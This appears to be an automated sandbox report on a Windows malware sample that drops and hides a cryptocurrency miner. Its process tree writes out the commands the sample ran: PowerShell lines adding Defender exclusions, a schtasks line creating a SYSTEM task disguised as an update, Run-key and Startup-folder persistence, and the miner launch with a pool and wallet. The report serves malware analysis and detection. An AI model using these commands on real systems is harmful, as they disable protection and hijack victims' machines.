12a3394badc5645c5d6fb335d659ef20ab04375008f66606986e6e2b450c0b97

Analysis

max time kernel
149s
max time network
141s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
31/07/2026, 13:20

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
2026-07-31_ff87389309d9caff2622c6c94d9a49be_cryptbot_icedid_luca-stealer_njrat_stealc.exe
Size 28.5MB
Sample260731-qld1lstdre
SHA256 12a3394badc5645c5d6fb335d659ef20ab04375008f66606986e6e2b450c0b97
MD5 ff87389309d9caff2622c6c94d9a49be
SHA1 50b4ff3087d95adc45cfc46abc6c655537c128de
SHA512 964bad8ba042eaac9778e92ab30c174b5f08926b1d5e7104bfc55374a1b65b1e64e92e8167f7ac3d08253c15210dafc975055c623690aee93c0c821240b95567
SSDEEP 786432:cZQHaIj1Tbc+3LpslPyxhEpILmcJJmaEQ7++O2bV2p8:h6IjCmelPShXmWALQ7++OGUW
TLSH
T13167331196951EBEF11BD1388D920D02EB793C1D8774926F0354E7A28D0BA92CF7E763
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

defense_evasion execution persistence privilege_escalation

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
2940	powershell.exe

Disables Task Manager via registry modification
defense_evasion

Creates a file in the Startup directory 1 TTPs 1 IoCs

A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.

persistence privilege_escalation

Registry Run Keys / Startup Folder

T1547.001

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\WindowsTask.vbs	wscript.exe

Executes dropped EXE 1 IoCs

pid	Process
1672	SRBMiner-MULTI.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3797332335-34111092-3597280141-1000\Software\Microsoft\Windows\CurrentVersion\Run\WindowsUpdateTask = "wscript.exe \"C:\\Users\\Admin\\AppData\\Roaming\\WindowsTask\\task.vbs\""	wscript.exe

Contacts third-party web service commonly abused for C2 1 TTPs 2 IoCs

Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

Web Service

T1102

flow	ioc
1	drive.google.com
12	drive.google.com

Indicator Removal: Clear Persistence 1 TTPs 1 IoCs

Clear artifacts associated with previously established persistence like scheduletasks on a host.

defense_evasion

Clear Persistence

T1070.009

pid	Process
960	cmd.exe

Executes a VBScript file via the Windows Script Host. 1 TTPs 2 IoCs

execution

Visual Basic

T1059.005

pid	Process
1232	wscript.exe
1752	wscript.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 6 IoCs

pid	Process
1672	SRBMiner-MULTI.exe
1672	SRBMiner-MULTI.exe
1672	SRBMiner-MULTI.exe
1672	SRBMiner-MULTI.exe
1672	SRBMiner-MULTI.exe
1672	SRBMiner-MULTI.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 2 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
1760	cmd.exe
4564	cmd.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{A8CDFF1C-4878-43be-B5FD-F8091C1C60D0}\Instance\	wscript.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
1852	schtasks.exe

Suspicious behavior: EnumeratesProcesses 3 IoCs

pid	Process
2940	powershell.exe
2940	powershell.exe
2940	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	2940	powershell.exe
Token: SeIncreaseQuotaPrivilege	2940	powershell.exe
Token: SeSecurityPrivilege	2940	powershell.exe
Token: SeTakeOwnershipPrivilege	2940	powershell.exe
Token: SeLoadDriverPrivilege	2940	powershell.exe
Token: SeSystemProfilePrivilege	2940	powershell.exe
Token: SeSystemtimePrivilege	2940	powershell.exe
Token: SeProfSingleProcessPrivilege	2940	powershell.exe
Token: SeIncBasePriorityPrivilege	2940	powershell.exe
Token: SeCreatePagefilePrivilege	2940	powershell.exe
Token: SeBackupPrivilege	2940	powershell.exe
Token: SeRestorePrivilege	2940	powershell.exe
Token: SeShutdownPrivilege	2940	powershell.exe
Token: SeDebugPrivilege	2940	powershell.exe
Token: SeSystemEnvironmentPrivilege	2940	powershell.exe
Token: SeRemoteShutdownPrivilege	2940	powershell.exe
Token: SeUndockPrivilege	2940	powershell.exe
Token: SeManageVolumePrivilege	2940	powershell.exe
Token: 33	2940	powershell.exe
Token: 34	2940	powershell.exe
Token: 35	2940	powershell.exe
Token: 36	2940	powershell.exe
Token: SeIncreaseQuotaPrivilege	2940	powershell.exe
Token: SeSecurityPrivilege	2940	powershell.exe
Token: SeTakeOwnershipPrivilege	2940	powershell.exe
Token: SeLoadDriverPrivilege	2940	powershell.exe
Token: SeSystemProfilePrivilege	2940	powershell.exe
Token: SeSystemtimePrivilege	2940	powershell.exe
Token: SeProfSingleProcessPrivilege	2940	powershell.exe
Token: SeIncBasePriorityPrivilege	2940	powershell.exe
Token: SeCreatePagefilePrivilege	2940	powershell.exe
Token: SeBackupPrivilege	2940	powershell.exe
Token: SeRestorePrivilege	2940	powershell.exe
Token: SeShutdownPrivilege	2940	powershell.exe
Token: SeDebugPrivilege	2940	powershell.exe
Token: SeSystemEnvironmentPrivilege	2940	powershell.exe
Token: SeRemoteShutdownPrivilege	2940	powershell.exe
Token: SeUndockPrivilege	2940	powershell.exe
Token: SeManageVolumePrivilege	2940	powershell.exe
Token: 33	2940	powershell.exe
Token: 34	2940	powershell.exe
Token: 35	2940	powershell.exe
Token: 36	2940	powershell.exe
Token: SeIncreaseQuotaPrivilege	2940	powershell.exe
Token: SeSecurityPrivilege	2940	powershell.exe
Token: SeTakeOwnershipPrivilege	2940	powershell.exe
Token: SeLoadDriverPrivilege	2940	powershell.exe
Token: SeSystemProfilePrivilege	2940	powershell.exe
Token: SeSystemtimePrivilege	2940	powershell.exe
Token: SeProfSingleProcessPrivilege	2940	powershell.exe
Token: SeIncBasePriorityPrivilege	2940	powershell.exe
Token: SeCreatePagefilePrivilege	2940	powershell.exe
Token: SeBackupPrivilege	2940	powershell.exe
Token: SeRestorePrivilege	2940	powershell.exe
Token: SeShutdownPrivilege	2940	powershell.exe
Token: SeDebugPrivilege	2940	powershell.exe
Token: SeSystemEnvironmentPrivilege	2940	powershell.exe
Token: SeRemoteShutdownPrivilege	2940	powershell.exe
Token: SeUndockPrivilege	2940	powershell.exe
Token: SeManageVolumePrivilege	2940	powershell.exe
Token: 33	2940	powershell.exe
Token: 34	2940	powershell.exe
Token: 35	2940	powershell.exe
Token: 36	2940	powershell.exe

Suspicious use of WriteProcessMemory 9 IoCs

description	pid	Process	procid_target
PID 3648 wrote to memory of 1232	3648	2026-07-31_ff87389309d9caff2622c6c94d9a49be_cryptbot_icedid_luca-stealer_njrat_stealc.exe	89
PID 1232 wrote to memory of 1752	1232	wscript.exe	90
PID 1752 wrote to memory of 960	1752	wscript.exe	92
PID 960 wrote to memory of 1832	960	cmd.exe	94
PID 1752 wrote to memory of 1760	1752	wscript.exe	95
PID 1760 wrote to memory of 1852	1760	cmd.exe	97
PID 1752 wrote to memory of 2940	1752	wscript.exe	98
PID 1752 wrote to memory of 1672	1752	wscript.exe	103
PID 1672 wrote to memory of 4564	1672	SRBMiner-MULTI.exe	105

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\2026-07-31_ff87389309d9caff2622c6c94d9a49be_cryptbot_icedid_luca-stealer_njrat_stealc.exe
"C:\Users\Admin\AppData\Local\Temp\2026-07-31_ff87389309d9caff2622c6c94d9a49be_cryptbot_icedid_luca-stealer_njrat_stealc.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:3648
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" launcher.vbs
  2⤵
  - Executes a VBScript file via the Windows Script Host.
  - Suspicious use of WriteProcessMemory
  PID:1232
- - C:\Windows\System32\wscript.exe
    "C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\Temp\launcher.vbs" /Elevated
    3⤵
    - Creates a file in the Startup directory
    - Adds Run key to start application
    - Executes a VBScript file via the Windows Script Host.
    - Modifies registry class
    - Suspicious use of WriteProcessMemory
    PID:1752
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c schtasks /delete /tn "WindowsUpdateTask" /f
      4⤵
      Indicator Removal: Clear Persistence
      Suspicious use of WriteProcessMemory
      PID:960
    - - C:\Windows\system32\schtasks.exe
        
        schtasks /delete /tn "WindowsUpdateTask" /f
        5⤵
        
        PID:1832
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c schtasks /create /tn "WindowsUpdateTask" /tr "wscript.exe \"C:\Users\Admin\AppData\Roaming\WindowsTask\task.vbs\"" /sc onstart /ru system /rl highest /f
      4⤵
      Executes a command shell one-liner
      Suspicious use of WriteProcessMemory
      PID:1760
    - - C:\Windows\system32\schtasks.exe
        
        schtasks /create /tn "WindowsUpdateTask" /tr "wscript.exe \"C:\Users\Admin\AppData\Roaming\WindowsTask\task.vbs\"" /sc onstart /ru system /rl highest /f
        5⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:1852
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\WindowsTask'; Add-MpPreference -ExclusionProcess 'SRBMiner-MULTI.exe'; Add-MpPreference -ExclusionExtension '.exe'"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2940
  - - C:\Users\Admin\AppData\Roaming\WindowsTask\SRBMiner-MULTI.exe
      "C:\Users\Admin\AppData\Roaming\WindowsTask\SRBMiner-MULTI.exe" --algorithm-gpu pearlhash --pool hk.pearl.gfwroute.com:1200 --wallet prl1pua8c6gxdqmgmvqrscs73c9vzkalr4xja2sn76j2u6yfjy2vj63ss37lnwd --worker zOQ6NWPB
      4⤵
      Executes dropped EXE
      Suspicious use of NtSetInformationThreadHideFromDebugger
      Suspicious use of WriteProcessMemory
      PID:1672
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c set
        5⤵
        Executes a command shell one-liner
        
        PID:4564

C:\Windows\system32\wscript.exe
wscript.exe
1⤵
PID:3244

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Visual Basic

T1059.005

Windows Command Shell

T1059.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Indicator Removal

T1070

Clear Persistence

T1070.009

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

SRBMiner-MULTI.exe

Path C:\Users\Admin\AppData\Local\Temp\SRBMiner-MULTI.exe
Size 28.3MB
SHA256 94a8074259a54537f285f146b0f98111ab8771bc456dd28568d23bab83526447
MD5 419c5d8fcce9c1931290150cd8ce4524
SHA1 45682cc974816ed8cbcba8787e1fc08a15617186
SHA512 3cf7c0ea560297b2315b19bee43396af7fde150170629073d54c1fbceaa701b4d3cfb647875c27a032f999724974df847dbc8837c4fd69197f8ada2fdaa6dce8
SSDEEP 393216:4Wc4cl5N3yrrm+4bIEZG7+P5e+idMOyB3dmSKKj8D920tRn/rSk4QxFHKw1VSfrJ:45Em+KKD+dgKje92S/rr4QxFHKmEf
TLSH
T12E57331447B4CE66C2CA157CA634306836ACFCD4AB5261CAE6E11EF3626E735BC36734
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

launcher.vbs

Path C:\Users\Admin\AppData\Local\Temp\launcher.vbs
Size 5KB
SHA256 7893dc30af94f58906e0699434eeda057696d1f9a3dcddf376b678e983a6028d
MD5 957409ab1e862fdca6f9167616e8cf1d
SHA1 2e4f6930056571e1b9b580d26a6a5b6812aac1a3
SHA512 b6ed2a1a11f7ede297f10e7cee38b20918e02ab8c32d08aa5803c7392c4280a45668f7957f4d60d7e06099eacb4f635704eed888e7aa3b07f8ff3e62850ae112
SSDEEP 96:z1HwRBaDwsOc/BFtcX+SU3z7111IA4qhtQSAAitSVFbOAfDetqAAtYt:zVAuDD/bt8yzttVwt
TLSH
T12BB18382FE1F5F31CA7653510186580DFFA60233A7B548293ECC880EDB22B6CB2D0CA4
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/1672-36-0x00007FF7D32F0000-0x00007FF7D672F000-memory.dmp

Download

memory/1672-28-0x00007FF7D32F0000-0x00007FF7D672F000-memory.dmp

Download

memory/1672-47-0x00007FF7D32F0000-0x00007FF7D672F000-memory.dmp

Download

memory/1672-46-0x00007FF7D32F0000-0x00007FF7D672F000-memory.dmp

Download

memory/1672-45-0x00007FF7D32F0000-0x00007FF7D672F000-memory.dmp

Download

memory/1672-22-0x00007FF7D32F0000-0x00007FF7D672F000-memory.dmp

Download

memory/1672-23-0x00007FF7D32F0000-0x00007FF7D672F000-memory.dmp

Download

memory/1672-24-0x00007FF7D32F0000-0x00007FF7D672F000-memory.dmp

Download

memory/1672-25-0x00007FF7D32F0000-0x00007FF7D672F000-memory.dmp

Download

memory/1672-29-0x00007FF7D32F0000-0x00007FF7D672F000-memory.dmp

Download

memory/1672-44-0x00007FF7D32F0000-0x00007FF7D672F000-memory.dmp

Download

memory/1672-27-0x00007FF7D32F0000-0x00007FF7D672F000-memory.dmp

Download

memory/1672-26-0x00007FF7D32F0000-0x00007FF7D672F000-memory.dmp

Download

memory/1672-31-0x00007FF7D32F0000-0x00007FF7D672F000-memory.dmp

Download

memory/1672-30-0x00007FF7D32F0000-0x00007FF7D672F000-memory.dmp

Download

memory/1672-35-0x00007FF7D32F0000-0x00007FF7D672F000-memory.dmp

Download

memory/1672-43-0x00007FF7D32F0000-0x00007FF7D672F000-memory.dmp

Download

memory/2940-13-0x0000020076230000-0x0000020076252000-memory.dmp

Download

memory/2940-16-0x00000200762A0000-0x00000200762BE000-memory.dmp

Download

memory/2940-20-0x00000200751B0000-0x0000020075B54000-memory.dmp

Download

memory/2940-18-0x00000200762C0000-0x00000200762CA000-memory.dmp

Download

memory/2940-17-0x0000020076530000-0x00000200765E2000-memory.dmp

Download